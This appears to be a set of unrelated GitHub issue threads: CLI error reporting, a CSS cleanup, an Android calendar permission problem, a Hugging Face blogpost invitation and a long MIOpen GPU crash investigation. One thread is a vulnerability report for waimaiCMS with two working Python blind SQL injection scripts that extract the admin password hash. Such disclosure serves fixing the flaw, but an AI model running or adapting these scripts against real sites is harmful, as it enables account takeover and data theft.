The CLI does a couple of checks before reaching the Backend to start the variant, if those checks fail, we should show the detailed trace. In addition, on the Backend, if there's an error we'll return a detailed trace and information on the error.

Closed in #574


remove redundant CSS

Removing leftovers of #691 - that elements are already hidden by hidden attribute.
Not sure how the fix in JS are related here (but it was a bug anyway), but without these changes tests are breaking.

Thanks again for your contributions!! 😄 💯


INVOKE_CHANNEL_METHOD_ERROR: PlatformException(401, The user has not allowed this application to modify their calendar(s), null, null)

I've added

It was working for a time first run.  It suddenly stopped having permissions to read/write to the calendar.  I have uninstalled it and reinstalled many times.  I'm sure it was working at one point.  Not sure what else to do, looking for suggestions on what else I might try.  When I go to settings, Permissions is grey'd out and says no permissions requested.
INVOKE_CHANNEL_METHOD_ERROR: PlatformException(401, The user has not allowed this application to modify their calendar(s), null, null)

    <uses-permission android:name="android.permission.READ_CALENDAR" />
    <uses-permission android:name="android.permission.WRITE_CALENDAR" />
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>

I'm using many permissions successfully.

I had the permissions in src\profile\ and not in main. working fine. not sure how it ever worked.


There is a SQL Injection vulnerability

There is a blind sql injection.
waimaiCMS is based on thinkphp3.1.3, vulnerable code in web/Lib/Action/ProductAction.class.php
    public function index(){
	 $data['fid']=I('id');//店铺分类
          $Food=M('Food');
	  $fooditem=$Food->where($data)->find();
	  $this->assign('fooditem',$fooditem);
	  $this->display();
   }

exp to get admin password here:
#!/usr/bin/bash
#coding:utf-8
import requests
import string

password = ''
string_list = string.ascii_lowercase + string.digits

url = "http://localhost:8000/"
prefix = "product?id[0]=in%20(%27xx%27))%20or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,"
payload = ")=%27"
suffix = "%27%20--%20"

for i in range(32):
    for s in string_list:
        final_url = url + prefix + str(i+1) + payload + password + s + suffix
        res = requests.get(final_url)
        if '<img src=""' not in res.content:
            password += s
            continue
    print password

If you test it with linux, this will helpful:
#!/usr/bin/bash
#coding:utf-8
import requests
import string

password = ''
string_list = string.ascii_lowercase + string.digits

url = "http://localhost"
prefix = "/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,"
payload = ")=%27"
suffix = "%27%20--%20&id[2]=exp"

for i in range(32):
    for s in string_list:
        final_url = url + prefix + str(i+1) + payload + password + s + suffix
        res = requests.get(final_url)
        if '<img src=""' not in res.content:
            password += s
            continue
    print password


[suggestion] Share an example / use case as a blogpost

completely up to you, could be a nice way to increase visibility and feedback - If you have some nice examples of how this could be useful, it would be interesting to feature as a Community Blogpost on HF. What are your thoughts?

@lunarflu This sounds great; would love to do it. Would like to refine some aspects of it first though as some of it is still in development! What would the criteria for the blogpost be?

More info here (you can request to join the org, and that will give you access to create blogs https://huggingface.co/blog-explorers) :

We are looking for high quality, long, technical blog posts on machine learning. Low quality and non-technical blog posts will be hidden from the blog main page.
Avoid advertising paid solutions in your posts.
You can find two examples of high quality blogs here and here.
All blogs are subjected to content guidelines of Hugging Face Hub.

@lunarflu just post the blog post https://huggingface.co/blog/santiagomed/building-a-rag-cli-application-application! Let me know what you think!


Memory access fault in miopenFindConvolutionBackwardWeightsAlgorithm

The function miopenFindConvolutionBackwardWeightsAlgorithm fails with Memory access fault.
This happens for example in the following configuration:
$ ./MIOpenDriver conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1
MIOpenDriver: conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1
Forward Convolution Verifies on CPU and GPU
Memory access fault by GPU node-1 on address 0x118114f000. Reason: Page not present or supervisor privilege.
[1]    14387 abort (core dumped)  ./MIOpenDriver conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1

with the following stack trace:
(gdb) bt
#0  0x00007ffff61a6bbf in ?? () from /opt/rocm/hsa/lib/libhsa-runtime64.so.1
#1  0x00007ffff61a6d7a in ?? () from /opt/rocm/hsa/lib/libhsa-runtime64.so.1
#2  0x00007ffff488668c in waitComplete () at /home/jenkins/jenkins-root/workspace/compute-rocm-rel-1.6/external/hcc-tot/lib/hsa/mcwamp_hsa.cpp:3715
#3  0x00007ffff488775d in operator() () at /home/jenkins/jenkins-root/workspace/compute-rocm-rel-1.6/external/hcc-tot/lib/hsa/mcwamp_hsa.cpp:3813
#4  _M_invoke<> () at /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/functional:1530
#5  operator() () at /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/functional:1520
#6  operator() () at /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/future:1342
#7  0x00007ffff48876f2 in _M_invoke () at /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/functional:1856
#8  0x00007ffff4887667 in operator() () at /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/functional:2267
#9  _M_do_set () at /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/future:527
#10 0x00007ffff5f69a99 in __pthread_once_slow (once_control=0x79e9d8, init_routine=0x7ffff7b0cac0 <__once_proxy>) at pthread_once.c:116
#11 0x00007ffff4887c4b in __gthread_once () at /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/x86_64-linux-gnu/c++/5.4.0/bits/gthr-default.h:699
#12 call_once<void (std::__future_base::_State_baseV2::*)(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()> *, bool *), std::__future_base::_State_baseV2 *, std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()> *, bool *> () at /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/mutex:738
#13 _M_set_result () at /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/future:386
#14 _M_complete_async () at /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/future:1606
#15 0x00007ffff7364ff5 in hipEventSynchronize () from /opt/rocm/hip/lib/libhip_hcc.so
#16 0x00007ffff770d4b1 in run () at /home/patrick/miopen/miopen-git/src/hipoc/hipoc_kernel.cpp:89
#17 0x00007ffff76c2dfd in operator()<int, int, int, int, int, int, int, int, const void *, void *, const void *, int *> () at /home/patrick/miopen/miopen-git/src/include/miopen/hipoc_kernel.hpp:134
#18 FindConvBwdWeightsAlgorithm () at /home/patrick/miopen/miopen-git/src/ocl/convolutionocl.cpp:1463
#19 0x00007ffff75f4fff in operator() () at /home/patrick/miopen/miopen-git/src/convolution_api.cpp:380
#20 try_<(lambda at /home/patrick/miopen/miopen-git/src/convolution_api.cpp:379:25)> () at /home/patrick/miopen/miopen-git/src/include/miopen/errors.hpp:71
#21 miopenFindConvolutionBackwardWeightsAlgorithm () at /home/patrick/miopen/miopen-git/src/convolution_api.cpp:379
#22 0x00000000004140ee in FindBackwardWeights () at /home/patrick/miopen/miopen-git/driver/conv_driver.hpp:764
#23 0x0000000000410cb5 in RunBackwardGPU () at /home/patrick/miopen/miopen-git/driver/conv_driver.hpp:834
#24 0x000000000040b131 in main () at /home/patrick/miopen/miopen-git/driver/main.cpp:106

@patflick Can you please try with this env. variable -
export MIOPEN_DEBUG_GCN_ASM_KERNELS=0

/cc @atamazov

@dagamayank with MIOPEN_DEBUG_GCN_ASM_KERNELS=0 it doesn't crash, but the verification still fails:
$ MIOPEN_DEBUG_GCN_ASM_KERNELS=0 ./MIOpenDriver conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1
MIOpenDriver: conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1
Forward Convolution Verifies on CPU and GPU
Backward Convolution Data Verifies on CPU and GPU
Backward Convolution Weights Failed: 0.972333

Another quick test. Can you please try adding the "-t 1" flag on the command line?

Just ran on my Fiji and all pass. Looks like Vega-specific.
atamazov@spb-hlc-fiji1h:~/github/MLOpen/build/Debug$ ./bin/MIOpenDriver conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1 -V 1 -i 2 $MIO
MIOpenDriver: conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1 -V 1 -i 2 -C /spb-hlc-fs2/1/users/atamazov/miopen-verify
Profiling is not available
Device Name: gfx803
key: miopenConvolutionFwdAlgoWinograd,64x57x57x3x3x64x57x57x128xNCHWxFP32x1
Kernel filename: conv_3x3_wheel_alpha_v3_0b_gfx803_m30.so
Info: Invoking kernel: sp3AsmConv3x3F, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 28672, 1, 1 }, local_work_dim = NULL
key: miopenConvolutionFwdAlgoWinograd 64x57x57x3x3x64x57x57x128xNCHWxFP32x1
Info: Invoking kernel: sp3AsmConv3x3F, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 28672, 1, 1 }, local_work_dim = NULL
key: miopenConvolutionFwdAlgoWinograd 64x57x57x3x3x64x57x57x128xNCHWxFP32x1
Info: Invoking kernel: sp3AsmConv3x3F, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 28672, 1, 1 }, local_work_dim = NULL
Wrote output to file /spb-hlc-fs2/1/users/atamazov/miopen-verify/fwd_out_64x57x57x3x3x64x57x57x128_64x1x1x1x1x1x1x0
Forward Convolution Verifies on CPU and GPU
key: miopenConvolutionBwdDataAlgoWinograd,64x57x57x3x3x64x57x57x128xNCHWxFP32x0
Info: Invoking kernel: sp3AsmConv3x3F, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 28672, 1, 1 }, local_work_dim = NULL
key: miopenConvolutionBwdDataAlgoGEMM,tC0_tA1_tB0_colMaj0_m576_n3249_k64_lda576_ldb3249_ldc3249_ws0_f32
Info: Invoking kernel: tg_betac_alphaabkey: miopenConvolutionBwdDataAlgoGEMM tC0_tA1_tB0_colMaj0_m576_n3249_k64_lda576_ldb3249_ldc3249_ws0_f32
Info: Invoking kernel: tg_betac_alphaab, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 65280, 1, 1 }, local_work_dim = { 256, 1, 1 }
key: miopenCol2Im,
Kernel filename: MIOpenUtilKernels2.cl
Info: Invoking kernel: Col2Im, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 207936, 1, 1 }, local_work_dim = { 256, 1, 1 }
key: miopenConvolutionBwdDataAlgoWinograd 64x57x57x3x3x64x57x57x128xNCHWxFP32x0
Info: Invoking kernel: sp3AsmConv3x3F, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 28672, 1, 1 }, local_work_dim = NULL
key: miopenConvolutionBwdDataAlgoWinograd 64x57x57x3x3x64x57x57x128xNCHWxFP32x0
Info: Invoking kernel: sp3AsmConv3x3F, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 28672, 1, 1 }, local_work_dim = NULL
runcl  -DNUM_CH_PER_WG=1 -DNUM_IM_BLKS_X=2 -DNUM_IM_BLKS=16 -DLOCAL_MEM_SIZE=340 -DSTRIDE_GT_1=0 -DTILE_SZ_X=32 -DTILE_SZ_Y=8 -DUSE_IM_OFF_GUARD=1 src/Kernels/MIOpenUtilKernels.cl -k Im2Col -dumpilisa -r 10 if#0: if#0: i
f#0: iv#0 262144,1,1/256,1,1
key: miopenIm2Col,
Kernel filename: MIOpenUtilKernels.cl
Info: Invoking kernel: Im2Col, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 262144, 1, 1 }, local_work_dim = { 256, 1, 1 }
key: miopenConvolutionBwdWeightsAlgoGEMM,tC0_tA1_tB0_colMaj1_m576_n64_k3249_lda3249_ldb3249_ldc576_ws0_f32
Info: Invoking kernel: tg_betac_alphaabkey: miopenConvolutionBwdWeightsAlgoGEMM tC0_tA1_tB0_colMaj1_m576_n64_k3249_lda3249_ldb3249_ldc576_ws0_f32
Info: Invoking kernel: tg_betac_alphaab, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 18432, 1, 1 }, local_work_dim = { 64, 1, 1 }
runcl  -Wa,-defsym,batch_size=128 -Wa,-defsym,img_h=57 -Wa,-defsym,img_w=57 -Wa,-defsym,input_channels=64 -Wa,-defsym,output_channels=64 -Wa,-defsym,wei_h=3 -Wa,-defsym,wei_w=3 -Wa,-defsym,pad_h=1 -Wa,-defsym,pad_w=1 -Wa
,-defsym,stride_h=1 -Wa,-defsym,stride_w=1 -Wa,-defsym,weights_layout=0 -Wa,-defsym,reverse_weights=0 -Wa,-defsym,limit_wave_cnt=0 -Wa,-defsym,chunk_size=16 -Wa,-defsym,c_per_wave=4 -Wa,-defsym,k_per_wave=2 -Wa,-defsym,n
_per_group=4 -Wa,-defsym,pipe_lines_depth=2 -Wa,-defsym,reverse_inout=0 -Wa,-defsym,enable_debug_output=0 src/Kernels/conv3x3wrw.s -k gcnAsmConv3x3WrW -dumpilisa -r 10 if#0: if#0: if#0: iv#0 256,16,32/256,1,1
key: miopenConvolutionBwdWeightsAlgoDirect_Main,64x57x57x3x3x64x57x57x128xNCHWxFP32x0
Kernel filename: conv3x3wrw.s
Info: Invoking kernel: gcnAsmConv3x3WrW, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 256, 16, 32 }, local_work_dim = { 256, 1, 1 }
key: miopenConvolutionBwdWeightsAlgoDirect_Main 64x57x57x3x3x64x57x57x128xNCHWxFP32x0
Info: Invoking kernel: gcnAsmConv3x3WrW, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 256, 16, 32 }, local_work_dim = { 256, 1, 1 }
Wrote output to file /spb-hlc-fs2/1/users/atamazov/miopen-verify/bwd_dat_64x57x57x3x3x64x57x57x128_64x1x1x1x1x1x1x0
Backward Convolution Data Verifies on CPU and GPU
Wrote output to file /spb-hlc-fs2/1/users/atamazov/miopen-verify/bwd_wei_64x57x57x3x3x64x57x57x128_64x1x1x1x1x1x1x0
Backward Convolution Weights Verifies on CPU and GPU

Curiously, with MIOPEN_DEBUG_GCN_ASM_KERNELS=0 and -t 1 the verification seems to pass.
without the GCN_ASM flag:
./MIOpenDriver conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1 -t 1
MIOpenDriver: conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1 -t 1
MIOpen Forward Conv. Algorithm: 3
GPU Kernel Time Forward Conv. Elapsed: 2.619791 ms
Forward Convolution Verifies on CPU and GPU
MIOpen Backward Data Conv. Algorithm: 3
GPU Kernel Time Backward Data Conv. Elapsed: 2.599198 ms
Memory access fault by GPU node-1 on address 0x1180db7000. Reason: Page not present or supervisor privilege.
[1]    22974 abort (core dumped)  ./MIOpenDriver conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1 -t 1

with the GCN_ASM flag:
$ MIOPEN_DEBUG_GCN_ASM_KERNELS=0 ./MIOpenDriver conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1 -t 1
MIOpenDriver: conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1 -t 1
MIOpen Forward Conv. Algorithm: 3
GPU Kernel Time Forward Conv. Elapsed: 2.505122 ms
Forward Convolution Verifies on CPU and GPU
MIOpen Backward Data Conv. Algorithm: 3
GPU Kernel Time Backward Data Conv. Elapsed: 2.598014 ms
MIOpen Backward Weights Conv. Algorithm: 1
GPU Kernel Time Backward Weights Conv. Elapsed: 8.998676 ms
Backward Convolution Data Verifies on CPU and GPU
Backward Convolution Weights Verifies on CPU and GPU

@patflick Thanks for clarifying. There are two problems here -

We are missing a synchronization somewhere which is why it fails without -t 1. I can fix this pretty easily.
Segfaults on Vega which is why it fails without GCN_ASM flag. This is a bit tricky to debug so will take some time.

For the time being, I will recommend using the -t 1 flag on the cmdline whenever you are using MIOpenDriver.

@patflick @dagamayank
WRT crash. From the original log it seems that crash occurs during backward data.
As far as I see, MIOpen uses Winograd, GEMM and Col2Im based algorithms for that:
...
Forward Convolution Verifies on CPU and GPU
key: miopenConvolutionBwdDataAlgoWinograd,64x57x57x3x3x64x57x57x128xNCHWxFP32x0
Info: Invoking kernel: sp3AsmConv3x3F, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 28672, 1, 1 }, local_work_dim = NULL
key: miopenConvolutionBwdDataAlgoGEMM,tC0_tA1_tB0_colMaj0_m576_n3249_k64_lda576_ldb3249_ldc3249_ws0_f32
Info: Invoking kernel: tg_betac_alphaabkey: miopenConvolutionBwdDataAlgoGEMM tC0_tA1_tB0_colMaj0_m576_n3249_k64_lda576_ldb3249_ldc3249_ws0_f32
Info: Invoking kernel: tg_betac_alphaab, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 65280, 1, 1 }, local_work_dim = { 256, 1, 1 }
key: miopenCol2Im,
Kernel filename: MIOpenUtilKernels2.cl
Info: Invoking kernel: Col2Im, work_dim = 3, global_work_offset = { 0, 0, 0 }, global_work_dim = { 207936, 1, 1 }, local_work_dim = { 256, 1, 1 }
...

Winograd is the fastest one, and it "wins", but crash may occur prior that.

Asm-text kernels (and MIOPEN_DEBUG_GCN_ASM_KERNELS as well) are nothing to do with this issue.
To disable Winograd (binary kernel), the one can use export MIOPEN_DEBUG_AMD_ROCM_PRECOMPILED_BINARIES=0.
GEMM-based algorithms may be excluded from MIOpen during build (I am guessing there is a flag for cmake, or just comment out "#define MIOPEN_USE_MIOPENGEMM 1" in config.h -- that worked for me).

Also I highly recommend to use debug build of MIOpen for initial investigations of issues and use its console logs in the bug reports.

@dagamayank

Segfaults on Vega which is why it fails without GCN_ASM flag.

I believe these two problems are not related to each other.
Some light on the latter: without GCN_ASM flag, MIOpenCvBwdWrW* kernels are used and those seems to fail. By default, asm-text gcnAsmConv3x3WrW is engaged and seems to work fine.

It seems that I've missed
#22 0x00000000004140ee in FindBackwardWeights

in the crash dump. So it seems that the problem is related to Vega and gcnAsmConv3x3WrW kernel.

@atamazov This is the original log.
./MIOpenDriver conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1 -t 1
MIOpenDriver: conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1 -t 1
MIOpen Forward Conv. Algorithm: 3
GPU Kernel Time Forward Conv. Elapsed: 2.619791 ms
Forward Convolution Verifies on CPU and GPU
MIOpen Backward Data Conv. Algorithm: 3
GPU Kernel Time Backward Data Conv. Elapsed: 2.599198 ms
Memory access fault by GPU node-1 on address 0x1180db7000. Reason: Page not present or supervisor privilege.
[1]    22974 abort (core dumped)  ./MIOpenDriver conv -H 57 -W 57 -P 1 -k 64 -c 64 -n 128 -p 1 -q 1 -t 1
The fact that we get times for Bwd-data means that there is no issue with Bwd-Data and the execution has passed that point. Therefore, the problem is in WrW.

/cc @Kirpich30000

Fixed in v1.1.